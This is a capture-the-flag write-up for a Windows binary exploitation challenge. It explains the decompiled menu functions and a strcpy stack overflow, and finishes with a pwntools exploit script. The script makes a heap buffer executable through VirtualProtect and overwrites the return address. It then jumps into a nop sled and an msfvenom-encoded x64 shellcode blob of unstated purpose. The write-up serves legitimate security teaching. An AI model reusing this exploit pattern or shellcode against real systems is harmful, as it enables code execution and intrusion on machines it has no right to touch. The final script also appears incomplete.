Weapon Safety -- Windows Pwn

Table of Contents

Weapon Safety

Initial Analysis

We are provided with a 64-bit windows executable. If we throw it into IDA, we can see that it did not manage to find the main function.

However we have the _start function and we can easily find this main function ourselves by either looking for strings in the program and finding cross references

or clicking into the start function and finding the main function (somewhere in the last block), which can be identified by the function call right after 3 arguments are being loaded (r8, rdx, ecx).

If we look inside the main function, we see that our program presents us with a menu.

If we look inside option 1, we see that it calls VirtualProtect on an address of our choice.

VirtualProtect essentially allows us to change the permissions on a memory page. This will be useful to us later.

__int64 __fastcall sub_140001390(unsigned int a1)
  unsigned int v1; // esi
  const char *v2; // rcx
  DWORD flOldProtect; // [rsp+2Ch] [rbp-14h] BYREF
  LPVOID lpAddress; // [rsp+30h] [rbp-10h] BYREF
  SIZE_T dwSize; // [rsp+38h] [rbp-8h] BYREF
  DWORD flNewProtect[3]; // [rsp+44h] [rbp+4h] BYREF

  if ( a1 )
    v1 = a1;
    v2 = "Safety is already disabled!";
    printf("Enter safety code #1: ");
    scanf("%lld", &lpAddress);
    printf("Enter safety code #2: ");
    scanf("%lld", &dwSize);
    printf("Enter safety code #3: ");
    scanf("%ld", flNewProtect);
    v1 = VirtualProtect(lpAddress, dwSize, flNewProtect[0], &flOldProtect);
    if ( v1 )
      return v1;
    v2 = "Unable to disable safety catch";
  return v1;

Option 2 allows us to allocate a buffer of any size.

          case 2:
            printf("Enter size of ammunition: ");
            scanf("%lld", &Size);
            Buffer = (char *)malloc(Size);
            printf("Ammunition loaded! Please collect it at locker #%lld\n", Buffer);

Finally, option 3 presents us with a buffer overflow vulnerability by allowing us to write Size (determined by option 2) amount of bytes into our Buffer.

It then copies our buffer into opt which is on our stack with a buffer size of 4. (!!! overflow !!!)

          case 3:
            fgets(Buffer, Size, stdin);
            puts("Fire in the hole!");
            strcpy(opt, v17);

Exploit Strategy

Since we have a BOF, we can essentially take control of our instruction pointer. But the question is, where to return to?

Note that option 1 and 2 allows us to allocate a RWX (readable, writable, executable) buffer of a known address.

We can basically write shellcode inside, and then jump to it via our BOF in option 3.

Exploit Script

Just like all other windows pwn, we have to first find our offset to return address.

If you double click on the opt variable, we can see in IDA that it is stored at rbp-0x90. Since the return address is at rbp+0x8, the offset to our return address is 0x98.

We also need to find the bad bytes (essentially bytes that will truncate our input) for our shellcode.


We can create our shellcode with msf venom (refer to website below)


We might need to make some space on stack for decoding


Final script:

from pwn import *

opt = lambda x: p.sendlineafter(b"Select option: ", str(x).encode())

p = process("./weapon_safety.exe")

# allocate buffer of size 2000
p.recvuntil(b"locker #")
addr = p.recvlineS().strip()

# change buffer permissions to RWX

# write shellcode into buffer
buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\x82\x3b\xdc\x14\x5e"
buf += b"\xac\x63\x94\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\x7e\x73\x5f\xf0\xae\x44\xa3\x94\x82"
buf += b"\x3b\x9d\x45\x1f\xfc\x31\xc5\xd4\x73\xed\xc6\x3b"
buf += b"\xe4\xe8\xc6\xe2\x73\x57\x46\x46\xe4\xe8\xc6\xa2"
buf += b"\x73\x57\x66\x0e\xe4\x6c\x23\xc8\x71\x91\x25\x97"
buf += b"\xe4\x52\x54\x2e\x07\xbd\x68\x5c\x80\x43\xd5\x43"
buf += b"\xf2\xd1\x55\x5f\x6d\x81\x79\xd0\x7a\x8d\x5c\xd5"
buf += b"\xfe\x43\x1f\xc0\x07\x94\x15\x8e\x27\xe3\x1c\x82"
buf += b"\x3b\xdc\x5c\xdb\x6c\x17\xf3\xca\x3a\x0c\x44\xd5"
buf += b"\xe4\x7b\xd0\x09\x7b\xfc\x5d\x5f\x7c\x80\xc2\xca"
buf += b"\xc4\x15\x55\xd5\x98\xeb\xdc\x83\xed\x91\x25\x97"
buf += b"\xe4\x52\x54\x2e\x7a\x1d\xdd\x53\xed\x62\x55\xba"
buf += b"\xdb\xa9\xe5\x12\xaf\x2f\xb0\x8a\x7e\xe5\xc5\x2b"
buf += b"\x74\x3b\xd0\x09\x7b\xf8\x5d\x5f\x7c\x05\xd5\x09"
buf += b"\x37\x94\x50\xd5\xec\x7f\xdd\x83\xeb\x9d\x9f\x5a"
buf += b"\x24\x2b\x95\x52\x7a\x84\x55\x06\xf2\x3a\xce\xc3"
buf += b"\x63\x9d\x4d\x1f\xf6\x2b\x17\x6e\x1b\x9d\x46\xa1"
buf += b"\x4c\x3b\xd5\xdb\x61\x94\x9f\x4c\x45\x34\x6b\x7d"
buf += b"\xc4\x81\x5d\xe0\xdb\x10\xa6\xdd\x08\xee\x14\x5e"
buf += b"\xed\x35\xdd\x0b\xdd\x94\x95\xb2\x0c\x62\x94\x82"
buf += b"\x72\x55\xf1\x17\x10\x61\x94\xad\x32\xce\x9f\x57"
buf += b"\x7a\x22\xc0\xcb\xb2\x38\x58\xd7\x5d\x22\x2e\xce"
buf += b"\x4c\xfa\x13\xa1\x79\x2f\x1d\x68\x53\xdd\x15\x5e"
buf += b"\xac\x3a\xd5\x38\x12\x5c\x7f\x5e\x53\xb6\xc4\xd2"
buf += b"\x76\xed\xdd\x13\x9d\xa3\xdc\x7d\xfb\x94\x9d\x9c"
buf += b"\xe4\x9c\x54\xca\xb2\x1d\x55\xe4\x46\x6c\x4b\x62"
buf += b"\xc4\x09\x5c\xd7\x6b\x09\x84\xc3\x63\x90\x9d\xbc"
buf += b"\xe4\xea\x6d\xc3\x81\x45\xb1\x2a\xcd\x9c\x41\xca"
buf += b"\xba\x18\x54\x5c\xac\x63\xdd\x3a\x58\xb1\x70\x5e"
buf += b"\xac\x63\x94\x82\x7a\x8c\x55\x0e\xe4\xea\x76\xd5"
buf += b"\x6c\x8b\x59\x6f\x6c\x09\x99\xdb\x7a\x8c\xf6\xa2"
buf += b"\xca\xa4\xd0\xa6\x6f\xdd\x15\x16\x21\x27\xb0\x9a"
buf += b"\xfd\xdc\x7c\x16\x25\x85\xc2\xd2\x7a\x8c\x55\x0e"
buf += b"\xed\x33\xdd\x7d\xfb\x9d\x44\x17\x53\xab\xd9\x0b"
buf += b"\xfa\x90\x9d\x9f\xed\xd9\xed\x4e\x04\x5a\xeb\x8b"
buf += b"\xe4\x52\x46\xca\xc4\x16\x9f\x50\xed\xd9\x9c\x05"
buf += b"\x26\xbc\xeb\x8b\x17\x93\x21\x20\x6d\x9d\xae\xf8"
buf += b"\x39\xde\x09\x7d\xee\x94\x97\x9a\x84\x5f\x92\xfe"
buf += b"\x31\x5c\xef\xbe\xd9\x66\x2f\xc5\x28\xae\x7b\x34"
buf += b"\xac\x3a\xd5\x0b\xe1\x23\xc1\x5e\xac\x63\x94"

context.arch = "amd64"
payload = b"A"*152
payload += p64(int(addr)+0xa0)
# nop sled
payload += b"\x90"*24
# we need to make space on stack for decoding?
payload += asm("sub rsp, 0x40")
payload += buf




comments powered by Disqus